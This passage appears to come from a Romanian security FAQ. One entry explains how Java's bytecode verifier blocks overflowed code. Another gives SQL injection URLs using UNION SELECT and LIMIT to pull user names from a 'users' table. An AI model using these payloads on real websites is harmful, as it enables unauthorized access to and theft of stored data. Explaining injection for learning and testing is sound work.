Rezolvare: Nu. Verificatorul bytecode-ului ( bytecode verifier ) scanează bytecode-urile, extrăgînd informaţia despre tipul obiectelor în fiecare punct de executare a fragmentului de cod. Maşina virtuală Java protejează de ieşirea "peste hotarele" memoriei acordate - se face excluderea, cu toate aceste codul introdus nu va fi executat. Nu se poate întîmpla supraîncărcarea sau
_____________________________________________________
Problema: Fac o injectie, însă la ieşire nimic nu se primeste, dar ştiu 100% că boxele există?
Rezolvare: Se pare că trebuie utilizat operatorul LIMIT. Dacă cererea iniţială arată cam în felul următor:
http://target/script.php?p=-1 union select 1,2,user,4 from users/* |
http://target/script.php?p=-1 union select 1,2,user,4 from users limit n,1/* |